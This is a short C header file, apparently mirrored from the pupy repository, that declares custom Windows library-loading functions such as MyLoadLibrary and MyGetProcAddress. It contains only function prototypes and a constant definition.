mirror of https://github.com/n1nj4sec/pupy.git
24 lines
499 B
C
24 lines
499 B
C
#ifndef GENERALLOADLIBRARY_H
|
|
#define GENERALLOADLIBRARY_H
|
|
|
|
#include <windows.h>
|
|
|
|
HMODULE MyLoadLibrary(LPCSTR, void *, void *);
|
|
HMODULE MyGetModuleHandle(LPCSTR);
|
|
BOOL MyFreeLibrary(HMODULE);
|
|
|
|
HMODULE MyLoadLibraryA(LPCSTR);
|
|
HMODULE MyLoadLibraryW(LPCWSTR);
|
|
|
|
FARPROC MyGetProcAddress(HMODULE, LPCSTR);
|
|
FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname);
|
|
|
|
VOID MySetLibraries(PVOID pLibraries);
|
|
PVOID MyGetLibraries();
|
|
|
|
#ifndef DLL_QUERY_HMODULE
|
|
#define DLL_QUERY_HMODULE 6
|
|
#endif
|
|
|
|
#endif
|